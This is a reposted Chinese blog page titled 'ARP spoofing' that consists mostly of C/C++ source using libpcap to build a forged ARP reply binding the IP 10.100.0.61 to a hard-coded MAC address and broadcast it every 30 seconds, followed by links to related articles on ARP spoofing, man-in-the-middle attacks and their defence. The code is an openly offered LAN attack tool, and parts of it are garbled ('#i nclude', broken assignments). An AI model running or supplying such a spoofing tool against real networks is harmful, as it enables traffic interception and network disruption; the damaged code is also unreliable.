ARP欺骗

转载 2007年09月18日 17:39:00
 
main.cpp

--------------------------------

#i nclude 
"main.h"

pcap_t 
*driver;
u_char 
*buff ;
void *thread_send(void *);
int main(int argc, char **argv)
{
pcap_if_t 
*all,*current;

u_char packet[
100];
struct pcap_pkthdr *head;
char *eth_dst = "00-02-3f-03-3f-26";
char *errbuff;
char *data;
char in;
int intin;
int i = 0;
if(pcap_findalldevs(&all,errbuff) == -1)
{
   fprintf(stderr,
"error in open interface the reason is: %s",errbuff);
   exit(
-1);
}

= 1;
for(current = all;current;current = current->next)
{
   fprintf(stdout,
"%d.%s(%s) ",i,current->name,current->description);
   i
++;
}

fprintf(stdout,
"input the number of the interface:");
scanf(
"%c",&in);
intin 
= atoi(&in);
for(current = all,i = 1;current;current = current->next,i++)
{
   
if(i == intin)
   
{
    
break;
   }

}

fprintf(stdout,
"you choice driver is %s(%s)",current->name,current->description);
char buff_t[strlen(current->name)];
strcpy(buff_t,current
->name);
pcap_freealldevs(all);
if((driver = pcap_open_live(buff_t,65535,PCAP_OPENFLAG_PROMISCUOUS,1000,errbuff)) == NULL)
{
   fprintf(stdout,
"open a driver error ,reason:%s",errbuff);
   
return -1;
}

    
    
/* Send down the packet */
    
if (pcap_sendpacket(driver, packet, 100 ) != 0)
    
{
        fprintf(stderr,
" Error sending the packet:  ", pcap_geterr(driver));
        
return 1;
    }

    buff 
= (u_char*)malloc(sizeof(struct ether_header) + sizeof(struct ARP_HEADER));
    
struct ether_header *eh = (struct ether_header*)buff;
    
char tmp[ETHER_ADDR_LEN];
    
//dst-host-eth-addr
    memset(tmp,0,ETHER_ADDR_LEN);
    eth_addr_parse(
"ff-ff-ff-ff-ff-ff",tmp);
    memcpy(
&(eh->ether_dhost),tmp,ETHER_ADDR_LEN);
    
//src-host-eth-addr
    memset(tmp,0,ETHER_ADDR_LEN);
    eth_addr_parse(eth_dst,tmp);
    memcpy(
&(eh->ether_shost),tmp,ETHER_ADDR_LEN);
    eh
->ether_type=htons(0x0806);
    
struct ARP_HEADER *arp;
    arp 
= (struct ARP_HEADER*)(buff + sizeof(struct ether_header));
    arp
->arp_hdr = htons(1);
    arp
->arp_pro = htons(0x0800);
    arp
->arp_hln = 0x0006;
    arp
->arp_pln = 0x0004;
    arp
->arp_opt = htons(0x0002);
    
    memset(tmp,
0,ETHER_ADDR_LEN);
    eth_addr_parse(eth_dst,tmp);
    memcpy(
&(arp->arp_sha),tmp,ETHER_ADDR_LEN);
    
    inet_aton(
"10.100.0.61",(struct in_addr*)&(arp->arp_spa));
    
    memset(tmp,
0,ETHER_ADDR_LEN);
    eth_addr_parse(
"ff-ff-ff-ff-ff-ff",tmp);
    memcpy(
&(arp->arp_tha),tmp,ETHER_ADDR_LEN);
    
    inet_aton(
"0.0.0.0",(struct in_addr*)&(arp->arp_tpa));
    thread_create(thread_send);
    wait_thread();
    
return 0;
}


void *thread_send(void *)
{
while(true)
    
{
     
if (pcap_sendpacket(driver, buff, sizeof(struct ether_header) + sizeof(struct ARP_HEADER)) != 0)
     
{
         fprintf(stderr,
" Error sending the packet:  ", pcap_geterr(driver));
         
return NULL;
     }

     sleep(
30);
   }

}



main.h

--------------------------------------------------------------

#i nclude 
"pcap.h"
#i nclude 
<stdlib.h>
#i nclude 
<stdio.h>
#i nclude 
<string.h>
#i nclude 
"util.h"
#i nclude 
<sys/socket.h>
#i nclude 
<netinet/in.h>
#i nclude 
<arpa/inet.h>
#i nclude 
<unistd.h>
#i nclude 
"thread.h"
#define SIOCGARP 0x00008951
using namespace std;
#ifndef ETHER_ADDR_LEN
#define ETHER_ADDR_LEN 6
#endif



#ifndef PCAP_OPENFLAG_PROMISCUOUS
#define PCAP_OPENFLAG_PROMISCUOUS 1
#endif


struct ARP_HEADER   //ARP头部
{
    unsigned 
short arp_hdr;
    unsigned 
short arp_pro;
    unsigned 
char   arp_hln;
    unsigned 
char   arp_pln;
    unsigned 
short arp_opt;
    unsigned 
char   arp_sha[6];
    unsigned 
char   arp_spa[4];
    unsigned 
char   arp_tha[6];
    unsigned 
long   arp_tpa[4];
}
;

struct ether_header 
{
u_char ether_dhost[ETHER_ADDR_LEN];
u_char ether_shost[ETHER_ADDR_LEN];
u_short ether_type;
}
;

thread.cpp

--------------------------------------------------------------------

#i nclude 
<pthread.h>
#i nclude 
<iostream>
#i nclude 
"thread.h"

pthread_t t;

void thread_create(void *(*methd)(void*))
{
using namespace std;
if(pthread_create(&t,NULL,methd,NULL))
{
cout 
<< "error create thread" << endl;
exit(
0);
}

}


void wait_thread()
{
pthread_join(t,NULL); 
}


thread.h

----------------------

void thread_create(void *(*methd)(void*));
void wait_thread();


util.cpp

-----------------------------------------------------


#i nclude 
<string>
#i nclude 
<iostream>
#i nclude 
"util.h"
#i nclude 
<math.h>
int hex_to_int(const char ,int );
extern "C" void eth_addr_parse(const char *s,char *d)
{
     
using std::string;
     
string str(s);
     
int index = 0;
     
int beg = 0;
     
int li = 0;
     
while(beg <= str.length() && (index = str.find("-",beg)) != str.npos)
     
{
         
string sub = str.substr(beg,index - beg);
         
int sum = 0;
         
int i = 1;
         
for(int j = sub.length(); j > 0;j--)
         
{
           sum 
+= hex_to_int(sub[j - 1],i++);
         }

         d[li
++= sum;
         beg 
= index + 1;
     }

     
if(beg < str.length())
     
{
        
string sub = str.substr(beg,str.length() - beg);
        
int sum = 0;
        
int i = 1;
        
for(int j = sub.length(); j > 0;j--)
       
{
         sum 
+= hex_to_int(sub[j - 1],i++);
       }

       d[li
++= sum;
     }

}


int hex_to_int(const char c,int i)
{
  
for(int j = 0; j < 6; j++)
{
  
   
if(c == (char)(97+j))
   
{
    
return (10 + c - 97)*(int)pow(16,i-1);
   }

}

char buf[1] ;
buf[
0= c;
return atoi(buf)*(int)pow(16,i-1);
}




util.h

extern "C" void eth_addr_parse(const char *,char *);

ARP网关欺骗原理及解决办法

一.什么是ARP协议? ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。在以...
  • u012372584
  • u012372584
  • 2014年06月24日 15:36
  • 3107

自制简单ARP欺骗小工具

在WireShark协议分析的学习过程学习了ARP协议的数据包格式,所以准备自制一个小小的ARP欺骗工具。在制作该工具前需要掌握如下知识:   一、ARP协议内容  ARP(Address Reso...
  • Jung_zhang
  • Jung_zhang
  • 2016年08月03日 14:18
  • 4811

ARP中间人欺骗实现

ARP欺骗是TCP/IP协议里面一个比较常用的攻击手段,我们需要深入了解其中的原理。...
  • qq_30265545
  • qq_30265545
  • 2016年08月14日 18:25
  • 513

LINUX -ARP欺骗

介绍: 由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C!这就是一个简单的ARP欺骗...
  • qiumei1101381170
  • qiumei1101381170
  • 2015年11月26日 15:29
  • 832

[渗透测试] ARP欺骗攻击&DNS欺骗攻击

ARP是Address Resolution Protocol的缩写。其基本功能就是在主机发送数据之前将目标IP转换为MAC地址,完成网络地址到物理地理地址的映射,以保证两台主机能够正常通信。 任何一...
  • hitwangpeng
  • hitwangpeng
  • 2015年08月01日 19:50
  • 2480

ARP欺骗DNS欺骗

先简单记录一下原理 ARP欺骗:反你你数据报文接收需要物理地址,自己以IP访问的互联网,这时候需要ARP协议,把你IP转换为物理地址。欺骗充当一个中间人获取他访问的数据(图片,访问地址,账号密码等)。...
  • songrongfa
  • songrongfa
  • 2017年04月05日 21:30
  • 1271

ARP协议原理与缺陷(附ARP欺骗源代码)

0 引言 IP协议之所以如此广泛地被应用于全球,一个重要的原因就是它可以运行于几乎所有链路层之上,如点对点的串行线路、环网FDDI,当然目前支撑IP协议的最普遍的链路层还是以太网。对于点对点的串行线...
  • smstong
  • smstong
  • 2012年01月31日 09:57
  • 3318

ettercap&wireshark简单实现ARP欺骗+监控

系统版本 lsb_release -a
  • Liuyingao_dao
  • Liuyingao_dao
  • 2014年09月25日 09:51
  • 3200

ARP欺骗源代码(基于WinPcap实现)

//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma ...
  • baggiowangyu
  • baggiowangyu
  • 2011年12月18日 11:58
  • 4995

ARP欺骗攻击的检测和防御

以太网构建由 1500 个字节的块组成的数据帧。每个以太网数据帧头包括源 MAC 地址和 目的 MAC 地址。建造以太网数据帧,必须从 IP 数据包中开始。但在构建过程中,以太网并 不知道目标机器...
  • hanxuetong
  • hanxuetong
  • 2012年02月28日 20:35
  • 1598
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:ARP欺骗
举报原因:
原因补充:

(最多只允许输入30个字)